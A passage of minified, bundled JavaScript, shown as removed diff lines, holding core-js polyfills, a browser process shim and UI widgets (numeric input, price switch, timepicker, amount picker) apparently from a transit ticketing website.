i.onreadystatechange = null; - e.removeChild(i); - i = null - }; - e.appendChild(i) - } - } - - function _() { - o = function (e) { - setTimeout(f, 0, e) - } - } - var g = Object.getPrototypeOf && Object.getPrototypeOf(e); - g = g && g.setTimeout ? g : e; - if ({}.toString.call(e.process) === "[object process]") { - c() - } else if (h()) { - m() - } else if (e.MessageChannel) { - p() - } else if (s && "onreadystatechange" in s.createElement("script")) { - v() - } else { - _() - } - g.setImmediate = l; - g.clearImmediate = u - })(typeof self === "undefined" ? typeof e === "undefined" ? this : e : self) - }).call(t, i(79), i(391)) - }, function (e, t) { - var i = e.exports = {}; - var n; - var r; - - function a() { - throw new Error("setTimeout has not been defined") - } - - function s() { - throw new Error("clearTimeout has not been defined") - }(function () { - try { - if (typeof setTimeout === "function") { - n = setTimeout - } else { - n = a - } - } catch (e) { - n = a - } - try { - if (typeof clearTimeout === "function") { - r = clearTimeout - } else { - r = s - } - } catch (e) { - r = s - } - })(); - - function o(e) { - if (n === setTimeout) { - return setTimeout(e, 0) - } - if ((n === a || !n) && setTimeout) { - n = setTimeout; - return setTimeout(e, 0) - } - try { - return n(e, 0) - } catch (t) { - try { - return n.call(null, e, 0) - } catch (t) { - return n.call(this, e, 0) - } - } - } - - function l(e) { - if (r === clearTimeout) { - return clearTimeout(e) - } - if ((r === s || !r) && clearTimeout) { - r = clearTimeout; - return clearTimeout(e) - } - try { - return r(e) - } catch (t) { - try { - return r.call(null, e) - } catch (t) { - return r.call(this, e) - } - } - } - var u = []; - var d = false; - var f; - var c = -1; - - function h() { - if (!d || !f) { - return - } - d = false; - if (f.length) { - u = f.concat(u) - } else { - c = -1 - } - if (u.length) { - m() - } - } - - function m() { - if (d) { - return - } - var e = o(h); - d = true; - var t = u.length; - while (t) { - f = u; - u = []; - while (++c < t) { - if (f) { - f[c].run() - } - } - c = -1; - t = u.length - } - f = null; - d = false; - l(e) - } - i.nextTick = function (e) { - var t = new Array(arguments.length - 1); - if (arguments.length > 1) { - for (var i = 1; i < arguments.length; i++) { - t[i - 1] = arguments[i] - } - } - u.push(new p(e, t)); - if (u.length === 1 && !d) { - o(m) - } - }; - - function p(e, t) { - this.fun = e; - this.array = t - } - p.prototype.run = function () { - this.fun.apply(null, this.array) - }; - i.title = "browser"; - i.browser = true; - i.env = {}; - i.argv = []; - i.version = ""; - i.versions = {}; - - function v() {} - i.on = v; - i.addListener = v; - i.once = v; - i.off = v; - i.removeListener = v; - i.removeAllListeners = v; - i.emit = v; - i.prependListener = v; - i.prependOnceListener = v; - i.listeners = function (e) { - return [] - }; - i.binding = function (e) { - throw new Error("process.binding is not supported") - }; - i.cwd = function () { - return "/" - }; - i.chdir = function (e) { - throw new Error("process.chdir is not supported") - }; - i.umask = function () { - return 0 - } - }, function (e, t, i) { - i(393); - e.exports = i(14).Object.assign - }, function (e, t, i) { - var n = i(24); - n(n.S + n.F, "Object", { - assign: i(394) - }) - }, function (e, t, i) { - "use strict"; - var n = i(48); - var r = i(110); - var a = i(68); - var s = i(62); - var o = i(124); - var l = Object.assign; - e.exports = !l || i(47)(function () { - var e = {}; - var t = {}; - var i = Symbol(); - var n = "abcdefghijklmnopqrst"; - e[i] = 7; - n.split("").forEach(function (e) { - t[e] = e - }); - return l({}, e)[i] != 7 || Object.keys(l({}, t)).join("") != n - }) ? function e(t, i) { - var l = s(t); - var u = arguments.length; - var d = 1; - var f = r.f; - var c = a.f; - while (u > d) { - var h = o(arguments[d++]); - var m = f ? n(h).concat(f(h)) : n(h); - var p = m.length; - var v = 0; - var _; - while (p > v) - if (c.call(h, _ = m[v++])) l[_] = h[_] - } - return l - } : l - }, function (e, t, i) { - e.exports = { - default: i(396), - __esModule: true - } - }, function (e, t, i) { - i(118); - i(397); - e.exports = i(111).f("iterator") - }, function (e, t, i) { - i(398); - var n = i(29); - var r = i(44); - var a = i(61); - var s = i(21)("toStringTag"); - var o = ("CSSRuleList,CSSStyleDeclaration,CSSValueList,ClientRectList,DOMRectList,DOMStringList," + "DOMTokenList,DataTransferItemList,FileList,HTMLAllCollection,HTMLCollection,HTMLFormElement,HTMLSelectElement," + "MediaList,MimeTypeArray,NamedNodeMap,NodeList,PaintRequestList,Plugin,PluginArray,SVGLengthList,SVGNumberList," + "SVGPathSegList,SVGPointList,SVGStringList,SVGTransformList,SourceBufferList,StyleSheetList,TextTrackCueList," + "TextTrackList,TouchList").split(","); - for (var l = 0; l < o.length; l++) { - var u = o[l]; - var d = n[u]; - var f = d && d.prototype; - if (f && !f[s]) r(f, s, u); - a[u] = a.Array - } - }, function (e, t, i) { - "use strict"; - var n = i(399); - var r = i(400); - var a = i(61); - var s = i(31); - e.exports = i(119)(Array, "Array", function (e, t) { - this._t = s(e); - this._i = 0; - this._k = t - }, function () { - var e = this._t; - var t = this._k; - var i = this._i++; - if (!e || i >= e.length) { - this._t = undefined; - return r(1) - } - if (t == "keys") return r(0, i); - if (t == "values") return r(0, e[i]); - return r(0, [i, e[i]]) - }, "values"); - a.Arguments = a.Array; - n("keys"); - n("values"); - n("entries") - }, function (e, t) { - e.exports = function () {} - }, function (e, t) { - e.exports = function (e, t) { - return { - value: t, - done: !!e - } - } - }, function (e, t, i) { - e.exports = { - default: i(402), - __esModule: true - } - }, function (e, t, i) { - i(403); - i(408); - i(409); - i(410); - e.exports = i(14).Symbol - }, function (e, t, i) { - "use strict"; - var n = i(29); - var r = i(35); - var a = i(34); - var s = i(24); - var o = i(122); - var l = i(404).KEY; - var u = i(47); - var d = i(87); - var f = i(89); - var c = i(71); - var h = i(21); - var m = i(111); - var p = i(112); - var v = i(405); - var _ = i(406); - var g = i(45); - var y = i(46); - var b = i(31); - var w = i(83); - var M = i(60); - var k = i(84); - var L = i(407); - var T = i(113); - var x = i(30); - var S = i(48); - var Y = T.f; - var D = x.f; - var E = L.f; - var C = n.Symbol; - var P = n.JSON; - var A = P && P.stringify; - var O = "prototype"; - var j = h("_hidden"); - var H = h("toPrimitive"); - var I = {}.propertyIsEnumerable; - var F = d("symbol-registry"); - var z = d("symbols"); - var R = d("op-symbols"); - var N = Object[O]; - var W = typeof C == "function"; - var B = n.QObject; - var q = !B || !B[O] || !B[O].findChild; - var $ = a && u(function () { - return k(D({}, "a", { - get: function () { - return D(this, "a", { - value: 7 - }).a - } - })).a != 7 - }) ? function (e, t, i) { - var n = Y(N, t); - if (n) delete N[t]; - D(e, t, i); - if (n && e !== N) D(N, t, n) - } : D; - var V = function (e) { - var t = z[e] = k(C[O]); - t._k = e; - return t - }; - var G = W && typeof C.iterator == "symbol" ? function (e) { - return typeof e == "symbol" - } : function (e) { - return e instanceof C - }; - var U = function e(t, i, n) { - if (t === N) U(R, i, n); - g(t); - i = w(i, true); - g(n); - if (r(z, i)) { - if (!n.enumerable) { - if (!r(t, j)) D(t, j, M(1, {})); - t[j][i] = true - } else { - if (r(t, j) && t[j][i]) t[j][i] = false; - n = k(n, { - enumerable: M(0, false) - }) - } - return $(t, i, n) - } - return D(t, i, n) - }; - var X = function e(t, i) { - g(t); - var n = v(i = b(i)); - var r = 0; - var a = n.length; - var s; - while (a > r) U(t, s = n[r++], i[s]); - return t - }; - var J = function e(t, i) { - return i === undefined ? k(t) : X(k(t), i) - }; - var K = function e(t) { - var i = I.call(this, t = w(t, true)); - if (this === N && r(z, t) && !r(R, t)) return false; - return i || !r(this, t) || !r(z, t) || r(this, j) && this[j][t] ? i : true - }; - var Q = function e(t, i) { - t = b(t); - i = w(i, true); - if (t === N && r(z, i) && !r(R, i)) return; - var n = Y(t, i); - if (n && r(z, i) && !(r(t, j) && t[j][i])) n.enumerable = true; - return n - }; - var Z = function e(t) { - var i = E(b(t)); - var n = []; - var a = 0; - var s; - while (i.length > a) { - if (!r(z, s = i[a++]) && s != j && s != l) n.push(s) - } - return n - }; - var ee = function e(t) { - var i = t === N; - var n = E(i ? R : b(t)); - var a = []; - var s = 0; - var o; - while (n.length > s) { - if (r(z, o = n[s++]) && (i ? r(N, o) : true)) a.push(z[o]) - } - return a - }; - if (!W) { - C = function e() { - if (this instanceof C) throw TypeError("Symbol is not a constructor!"); - var t = c(arguments.length > 0 ? arguments[0] : undefined); - var i = function (e) { - if (this === N) i.call(R, e); - if (r(this, j) && r(this[j], t)) this[j][t] = false; - $(this, t, M(1, e)) - }; - if (a && q) $(N, t, { - configurable: true, - set: i - }); - return V(t) - }; - o(C[O], "toString", function e() { - return this._k - }); - T.f = Q; - x.f = U; - i(152).f = L.f = Z; - i(68).f = K; - i(110).f = ee; - if (a && !i(70)) { - o(N, "propertyIsEnumerable", K, true) - } - m.f = function (e) { - return V(h(e)) - } - } - s(s.G + s.W + s.F * !W, { - Symbol: C - }); - for (var te = "hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables".split(","), ie = 0; te.length > ie;) h(te[ie++]); - for (var ne = S(h.store), re = 0; ne.length > re;) p(ne[re++]); - s(s.S + s.F * !W, "Symbol", { - for: function (e) { - return r(F, e += "") ? F[e] : F[e] = C(e) - }, - keyFor: function e(t) { - if (!G(t)) throw TypeError(t + " is not a symbol!"); - for (var i in F) - if (F[i] === t) return i - }, - useSetter: function () { - q = true - }, - useSimple: function () { - q = false - } - }); - s(s.S + s.F * !W, "Object", { - create: J, - defineProperty: U, - defineProperties: X, - getOwnPropertyDescriptor: Q, - getOwnPropertyNames: Z, - getOwnPropertySymbols: ee - }); - P && s(s.S + s.F * (!W || u(function () { - var e = C(); - return A([e]) != "[null]" || A({ - a: e - }) != "{}" || A(Object(e)) != "{}" - })), "JSON", { - stringify: function e(t) { - var i = [t]; - var n = 1; - var r, a; - while (arguments.length > n) i.push(arguments[n++]); - a = r = i[1]; - if (!y(r) && t === undefined || G(t)) return; - if (!_(r)) r = function (e, t) { - if (typeof a == "function") t = a.call(this, e, t); - if (!G(t)) return t - }; - i[1] = r; - return A.apply(P, i) - } - }); - C[O][H] || i(44)(C[O], H, C[O].valueOf); - f(C, "Symbol"); - f(Math, "Math", true); - f(n.JSON, "JSON", true) - }, function (e, t, i) { - var n = i(71)("meta"); - var r = i(46); - var a = i(35); - var s = i(30).f; - var o = 0; - var l = Object.isExtensible || function () { - return true - }; - var u = !i(47)(function () { - return l(Object.preventExtensions({})) - }); - var d = function (e) { - s(e, n, { - value: { - i: "O" + ++o, - w: {} - } - }) - }; - var f = function (e, t) { - if (!r(e)) return typeof e == "symbol" ? e : (typeof e == "string" ? "S" : "P") + e; - if (!a(e, n)) { - if (!l(e)) return "F"; - if (!t) return "E"; - d(e) - } - return e[n].i - }; - var c = function (e, t) { - if (!a(e, n)) { - if (!l(e)) return true; - if (!t) return false; - d(e) - } - return e[n].w - }; - var h = function (e) { - if (u && m.NEED && l(e) && !a(e, n)) d(e); - return e - }; - var m = e.exports = { - KEY: n, - NEED: false, - fastKey: f, - getWeak: c, - onFreeze: h - } - }, function (e, t, i) { - var n = i(48); - var r = i(110); - var a = i(68); - e.exports = function (e) { - var t = n(e); - var i = r.f; - if (i) { - var s = i(e); - var o = a.f; - var l = 0; - var u; - while (s.length > l) - if (o.call(e, u = s[l++])) t.push(u) - } - return t - } - }, function (e, t, i) { - var n = i(85); - e.exports = Array.isArray || function e(t) { - return n(t) == "Array" - } - }, function (e, t, i) { - var n = i(31); - var r = i(152).f; - var a = {}.toString; - var s = typeof window == "object" && window && Object.getOwnPropertyNames ? Object.getOwnPropertyNames(window) : []; - var o = function (e) { - try { - return r(e) - } catch (e) { - return s.slice() - } - }; - e.exports.f = function e(t) { - return s && a.call(t) == "[object Window]" ? o(t) : r(n(t)) - } - }, function (e, t) {}, function (e, t, i) { - i(112)("asyncIterator") - }, function (e, t, i) { - i(112)("observable") - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n, r, a, s, o, l, u, d, f, c, h = null; - if (false) { - n = require.context("./General", false, /.*\.svg$/); - n.keys().forEach(n); - r = require.context("./Tickets", false, /.*\.svg$/); - r.keys().forEach(r); - a = require.context("./TicketLocations", false, /.*\.svg$/); - a.keys().forEach(a); - s = require.context("./Payments", false, /.*\.svg$/); - s.keys().forEach(s); - l = require.context("./AppStore", false, /.*\.svg$/); - l.keys().forEach(l); - d = require.context("./Modi", false, /.*\.svg$/); - d.keys().forEach(d); - f = require.context("./Route", false, /.*\.svg$/); - f.keys().forEach(f); - c = require.context("./RouteStandalone", false, /.*\.svg$/); - c.keys().forEach(c); - h = require.context("./Social", false, /.*\.svg$/); - h.keys().forEach(h); - o = require.context("./Wagons", false, /.*\.svg$/); - o.keys().forEach(o); - u = require.context("./Facilities", false, /.*\.svg$/); - u.keys().forEach(u) - } - var m = function e() { - var t = n.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var i = r.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var m = a.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var p = s.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var v = d.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var _ = f.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var g = c.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var y = h.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var b = l.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var w = o.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - var M = u.keys().map(function (e) { - return e.substr(2, e.length - 6) - }); - return { - general: t, - payments: p, - tickets: i, - modi: v, - route: _, - routeStandalone: g, - social: y, - ticketLocations: m, - appStore: b, - wagons: w, - facilities: M - } - }; - t.default = m - }, function (e, t, i) { - i(413); - e.exports = i(14).Object.getPrototypeOf - }, function (e, t, i) { - var n = i(62); - var r = i(126); - i(115)("getPrototypeOf", function () { - return function e(t) { - return r(n(t)) - } - }) - }, function (e, t, i) { - e.exports = { - default: i(415), - __esModule: true - } - }, function (e, t, i) { - i(416); - var n = i(14).Object; - e.exports = function e(t, i, r) { - return n.defineProperty(t, i, r) - } - }, function (e, t, i) { - var n = i(24); - n(n.S + n.F * !i(34), "Object", { - defineProperty: i(30).f - }) - }, function (e, t, i) { - e.exports = { - default: i(418), - __esModule: true - } - }, function (e, t, i) { - i(419); - e.exports = i(14).Object.setPrototypeOf - }, function (e, t, i) { - var n = i(24); - n(n.S, "Object", { - setPrototypeOf: i(420).set - }) - }, function (e, t, i) { - var n = i(46); - var r = i(45); - var a = function (e, t) { - r(e); - if (!n(t) && t !== null) throw TypeError(t + ": can't set as prototype!") - }; - e.exports = { - set: Object.setPrototypeOf || ("__proto__" in {} ? function (e, t, n) { - try { - n = i(82)(Function.call, i(113).f(Object.prototype, "__proto__").set, 2); - n(e, []); - t = !(e instanceof Array) - } catch (e) { - t = true - } - return function e(i, r) { - a(i, r); - if (t) i.__proto__ = r; - else n(i, r); - return i - } - }({}, false) : undefined), - check: a - } - }, function (e, t, i) { - i(422); - var n = i(14).Object; - e.exports = function e(t, i) { - return n.create(t, i) - } - }, function (e, t, i) { - var n = i(24); - n(n.S, "Object", { - create: i(84) - }) - }, function (e, t) { - e.exports = o - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = m(n); - var a = i(1); - var s = m(a); - var o = i(6); - var l = m(o); - var u = i(4); - var d = m(u); - var f = i(5); - var c = m(f); - var h = i(2); - - function m(e) { - return e && e.__esModule ? e : { - default: e - } - } - var p = 1; - var v = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.inc = e.querySelector(".input-numeric__inc"); - n.dec = e.querySelector(".input-numeric__dec"); - n.input = e.querySelector("input"); - n.value = n.convertToNumber(n.input.value); - n.input.value = n.value; - n.bindEvents(); - return n - }(0, l.default)(t, [{ - key: "bindEvents", - value: function e() { - this.input.addEventListener("keypress", this.handleInput.bind(this)); - this.input.addEventListener("change", this.handleChange.bind(this)); - this.inc.addEventListener("click", this.handleInc.bind(this)); - this.dec.addEventListener("click", this.handleDec.bind(this)) - } - }, { - key: "handleInput", - value: function e(t) { - var i = 13; - var n = 8; - if ((t.which < 48 || t.which > 57) && t.which !== i && t.which !== n) { - t.preventDefault() - } - } - }, { - key: "handleInc", - value: function e(t) { - this.input.value = this.convertToNumber(this.input.value); - this.input.value = ++this.value - } - }, { - key: "handleDec", - value: function e(t) { - this.input.value = this.convertToNumber(this.input.value); - if (this.value > p) { - this.input.value = --this.value - } - } - }, { - key: "handleChange", - value: function e(t) { - var i = this.convertToNumber(t.currentTarget.value); - if (i <= p) { - this.input.value = i = p - } - this.value = i - } - }, { - key: "convertToNumber", - value: function e(t) { - if (isNaN(parseInt(t))) { - return p - } - return parseInt(t) - } - }]); - return t - }(h.Component); - v.defaultSettings = { - attributes: true - }; - t.default = v - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = c(n); - var a = i(1); - var s = c(a); - var o = i(4); - var l = c(o); - var u = i(5); - var d = c(u); - var f = i(2); - - function c(e) { - return e && e.__esModule ? e : { - default: e - } - } - var h = function (e) { - (0, d.default)(t, e); - - function t() { - (0, s.default)(this, t); - return (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).apply(this, arguments)) - } - return t - }(f.Component); - t.default = h - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = _(n); - var a = i(1); - var s = _(a); - var o = i(6); - var l = _(o); - var u = i(4); - var d = _(u); - var f = i(5); - var c = _(f); - var h = i(7); - var m = v(h); - var p = i(2); - - function v(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - n.setActive = n.setActive.bind(n); - n.handleBtnClick = n.handleBtnClick.bind(n); - n.input = e.querySelector(".js-switch-price-input"); - n.btns = m.get(".switch-price__btn"); - n.btns.forEach(function (e) { - return e.addEventListener("click", n.handleBtnClick) - }); - n.handleInitialButton(); - return n - }(0, l.default)(t, [{ - key: "handleInitialButton", - value: function e() { - if (this.input.value) { - var t = this.el.querySelector('[data-value="' + this.input.value + '"]'); - if (t) { - this.setActive(t, false) - } else { - this.setActive(this.btns[0], false) - } - } else { - this.setActive(this.btns[0], false) - } - } - }, { - key: "handleBtnClick", - value: function e(t) { - this.el.classList.add("switch--anim"); - this.setActive(t.currentTarget) - } - }, { - key: "setActive", - value: function e(t) { - var i = this.el.querySelector(".active"); - if (i) { - i.classList.remove("active"); - i.setAttribute("aria-checked", "false") - } - t.classList.add("active"); - t.setAttribute("aria-checked", "true"); - this.input.value = t.getAttribute("data-value"); - var n = document.createEvent("Event"); - n.initEvent("change", false, true); - this.input.dispatchEvent(n) - } - }]); - return t - }(p.Component); - g.default_settings = { - attributes: true, - duration: 200, - animate: true - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = _(n); - var a = i(1); - var s = _(a); - var o = i(6); - var l = _(o); - var u = i(4); - var d = _(u); - var f = i(5); - var c = _(f); - var h = i(156); - var m = _(h); - var p = i(2); - var v = i(7); - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.el = e; - n.input = e.querySelector(".input__txt"); - n.prevInputState = n.input.value; - n.preventClose = false; - n.typedValue = false; - n.highlightedValues = 0; - n.list = JSON.parse(n.settings.values); - if (Array.isArray(n.list)) { - n.list = n.list.map(function (e) { - switch (e.length) { - case 4: - return "0" + e; - case 2: - return e + ":00" - } - return e - }) - } - n.timepicker = new m.default(n.input, { - minChars: 0, - maxItems: 50, - filter: function e(t, i) { - return true - }, - list: n.list, - mask: n.settings.mask, - regex: n.settings.regex - }); - n.onClose = n.onClose.bind(n); - n.onBlur = n.onBlur.bind(n); - n.onOpen = n.onOpen.bind(n); - n.onSelect = n.onSelect.bind(n); - n.close = n.close.bind(n); - n.onFocus = n.onFocus.bind(n); - n.onChange = n.onChange.bind(n); - n.onHighlight = n.onHighlight.bind(n); - n.onKeyDown = n.onKeyDown.bind(n); - n.bindEvents(); - if (n.settings.setnow && !n.input.value.length) { - n.input.value = n.getNow() - } - return n - }(0, l.default)(t, [{ - key: "bindEvents", - value: function e() { - this.input.addEventListener("awesomplete-close", this.onClose); - this.input.addEventListener("awesomplete-open", this.onOpen); - this.input.addEventListener("awesomplete-select", this.onSelect); - this.input.addEventListener("awesomplete-highlight", this.onHighlight); - this.input.addEventListener("blur", this.onBlur); - this.input.addEventListener("focus", this.onFocus); - this.input.addEventListener("mousedown", this.onFocus); - this.input.addEventListener("input", this.onChange); - this.input.addEventListener("keydown", this.onKeyDown.bind(this)) - } - }, { - key: "getNow", - value: function e() { - return (new Date).toTimeString().replace(/.*(\d{2}:\d{2}:\d{2}).*/, "$1").substring(0, 5) - } - }, { - key: "onFocus", - value: function e() { - this.timepicker.minChars = 0; - this.timepicker.evaluate(); - this.el.classList.add("timepicker--open"); - var t = this.input.value; - if (t === "") { - this.gotoClosest() - } else { - var i = this.list.findIndex(function (e) { - return e.replace(":", "") == t - }); - if (i === -1) { - this.gotoClosest() - } else { - this.timepicker.goto(i) - } - } - document.body.addEventListener("click", this.close) - } - }, { - key: "gotoClosest", - value: function e() { - var t = this.listByDiff(this.list, new Date); - this.timepicker.goto(t[0].index) - } - }, { - key: "listByDiff", - value: function e(t, i) { - return t.map(function (e, t) { - var i = e.split(":"); - var n = new Date; - n.setHours(parseInt(i[0]), parseInt(i[1]), 0, 0); - return { - date: n, - index: t - } - }).map(function (e) { - e.diff = Math.abs(new Date - e.date); - return e - }).sort(function (e, t) { - return e.diff - t.diff - }) - } - }, { - key: "onOpen", - value: function e(t) { - var i = this; - this.preventClose = false; - this.highlightedValues = 0; - this.el.querySelector("ul").addEventListener("mousedown", function (e) { - i.preventClose = true; - e.preventDefault() - }) - } - }, { - key: "onSelect", - value: function e(t) { - this.preventClose = false; - this.close(t, true) - } - }, { - key: "onClose", - value: function e(t) { - if (this.preventClose) { - t.preventDefault(); - return false - } - this.close(t, true) - } - }, { - key: "onBlur", - value: function e(t) { - if (!this.typedValue && this.highlightedValues > 1) { - this.timepicker.select() - } - this.onClose(t) - } - }, { - key: "onHighlight", - value: function e(t) { - this.highlightedValues++; - if (this.highlightedValues > 1) { - this.typedValue = false - } - } - }, { - key: "onKeyDown", - value: function e(t) { - var i = t.keyCode || t.which; - if (i == 38 || i == 40 || i == 9 || i == 13) { - this.typedValue = false; - return - } - this.typedValue = true - } - }, { - key: "onChange", - value: function e(t) { - var i = this.input.value; - var n = new RegExp(this.settings.regex); - var r = this.changeFormat(i); - var a = n.test(r); - if (!a) { - this.input.value = this.prevInputState; - t.preventDefault(); - return false - } - this.prevInputState = this.input.value; - return true - } - }, { - key: "changeFormat", - value: function e(t) { - switch (t.length) { - case 0: - return "00" + "00"; - case 1: - return "0" + t + "00"; - case 2: - return t + "00"; - case 3: - return t + "0"; - case 4: - return t - } - } - }, { - key: "close", - value: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; - if ((0, v.isDescendant)(this.el, t.target) && !i) { - return - } - this.el.classList.remove("timepicker--open"); - this.timepicker.close({ - reason: "external" - }); - this.preventClose = false; - var n = new RegExp(this.settings.regex); - var r = false; - while (!n.test(this.input.value) && !r) { - var a = this.input.value; - switch (a.length) { - case 2: - this.input.value = iputValue + "00"; - break; - case 3: - this.input.value = a.substr(0, 2) + "0" + a.substr(2, 1); - break; - case 4: - case 1: - this.input.value = this.getNow(); - break; - case 0: - this.input.value = ""; - r = true; - break - } - } - document.body.removeEventListener("click", this.close) - } - }]); - return t - }(p.Component); - g.default_settings = { - setnow: false, - attributes: true, - mask: "99:99", - regex: "^(((0|1)[0-9])|2[0-3])([0-5][0-9])$", - values: "[]" - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = _(n); - var a = i(1); - var s = _(a); - var o = i(6); - var l = _(o); - var u = i(4); - var d = _(u); - var f = i(5); - var c = _(f); - var h = i(156); - var m = _(h); - var p = i(2); - var v = i(7); - - function _(e) { - return e && e.__esModule ? e : { - default: e - } - } - var g = function (e) { - (0, c.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, d.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.default_settings, i)); - n.el = e; - n.preventClose = false; - n.input = e.querySelector(".input__txt"); - n.ctrlDown = false; - n.amountpicker = new m.default(n.input, { - minChars: 0, - maxItems: 50, - filter: function e(t, i) { - return true - }, - list: n.parseValues(n.settings.values), - mask: n.settings.mask, - sort: n.sortNumeric - }); - n.bindEvents(); - return n - }(0, l.default)(t, [{ - key: "bindEvents", - value: function e() { - var t = this; - this.input.addEventListener("keydown", this.handleInput.bind(this)); - this.input.addEventListener("keyup", this.handleCleanInput.bind(this)); - this.input.addEventListener("awesomplete-close", this.onClose.bind(this)); - this.input.addEventListener("awesomplete-highlight", this.handleChange.bind(this)); - this.input.addEventListener("blur", this.onBlur.bind(this)); - this.input.addEventListener("focus", this.onFocus.bind(this)); - this.amountpicker.container.addEventListener("mousedown", function (e) { - if (t.amountpicker.isOpened) { - t.preventClose = true; - t.amountpicker.preventClose = true; - e.preventDefault(); - return false - } - }); - this.amountpicker.container.addEventListener("mouseup", function (e) { - t.preventClose = false; - t.amountpicker.preventClose = false; - e.preventDefault(); - return false - }) - } - }, { - key: "sortNumeric", - value: function e(t, i) { - return t - i - } - }, { - key: "parseValues", - value: function e(t) { - var i = JSON.parse(t); - var n = i.map(function (e) { - return parseInt(e) - }).filter(function (e) { - return !isNaN(e) - }).sort(this.sortNumeric); - return n - } - }, { - key: "handleInput", - value: function e(t) { - if ((t.ctrlKey || t.metaKey) && t.which == 86) { - this.ctrlDown = true; - return true - } - this.ctrlDown = false; - if ((t.which < 48 || t.which > 57) && (t.which < 96 || t.which > 105) && t.key !== "Escape" && t.key !== "Esc" && t.key !== "Tab" && t.key !== "Backspace" && t.key !== "ArrowLeft" && t.key !== "Delete" && t.key !== "ArrowRight") { - t.preventDefault() - } - } - }, { - key: "handleCleanInput", - value: function e(t) { - if (this.ctrlDown) { - this.input.value = this.input.value.replace(/\D/g, "") - } - this.ctrlDown = false - } - }, { - key: "handleChange", - value: function e(t) { - this.input.value = t.text.value - } - }, { - key: "onFocus", - value: function e() { - this.amountpicker.minChars = 0; - this.amountpicker.evaluate(); - this.el.classList.add("amount--open"); - this.preventClose = false; - this.input.setSelectionRange(0, 9999); - document.body.addEventListener("click", this.close.bind(this)) - } - }, { - key: "moveCursorToEnd", - value: function e() { - var t = this.input.value; - this.input.value = ""; - this.input.value = t - } - }, { - key: "onBlur", - value: function e(t) { - if (this.preventClose) { - return false - } - this.close(t, true) - } - }, { - key: "onClose", - value: function e(t) { - if (this.preventClose) { - return false - } - this.close(t, true) - } - }, { - key: "close", - value: function e(t) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false; - if (!(0, v.isDescendant)(this.el, t.target) || i) { - this.el.classList.remove("amount--open"); - this.preventClose = false; - this.amountpicker.preventClose = false; - this.amountpicker.close() - } - } - }]); - return t - }(p.Component); - g.default_settings = { - setnow: false, - attributes: true, - values: "[1, 2, 3, 4, 5]" - }; - t.default = g - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(3); - var r = v(n); - var a = i(1); - var s = v(a); - var o = i(4); - var l = v(o); - var u = i(5); - var d = v(u); - var f = i(7); - var c = p(f); - var h = i(2); - var m = i(157); - - function p(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function v(e) { - return e && e.__esModule ? e : { - default: e - } - } - var _ = function (e) { - (0, d.default)(t, e); - - function t(e) { - var i = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; - (0, s.default)(this, t); - var n = (0, l.default)(this, (t.__proto__ || (0, r.default)(t)).call(this, e, t.defaultSettings, i)); - if (!(0, m.canSMIL)()) {} - return n - } - return t - }(h.Component); - _.defaultSettings = {}; - t.default = _ - }, function (e, t, i) { - "use strict"; - Object.defineProperty(t, "__esModule", { - value: true - }); - var n = i(13); - var r = b(n); - var a = i(3); - var s = b(a); - var o = i(1); - var l = b(o); - var u = i(6); - var d = b(u); - var f = i(4); - var c = b(f); - var h = i(5); - var m = b(h); - var p = i(7); - var v = y(p); - var _ = i(15); - var g = i(2); - - function y(e) { - if (e && e.__esModule) { - return e - } else { - var t = {}; - if (e != null) { - for (var i in e) { - if (Object.prototype.hasOwnProperty.call(e, i)) t[i] = e[i] - } - } - t.default = e; - return t - } - } - - function b(e) { - return e && e.__esModule ? e : { - default: e - } - } - var w = function (e) { - 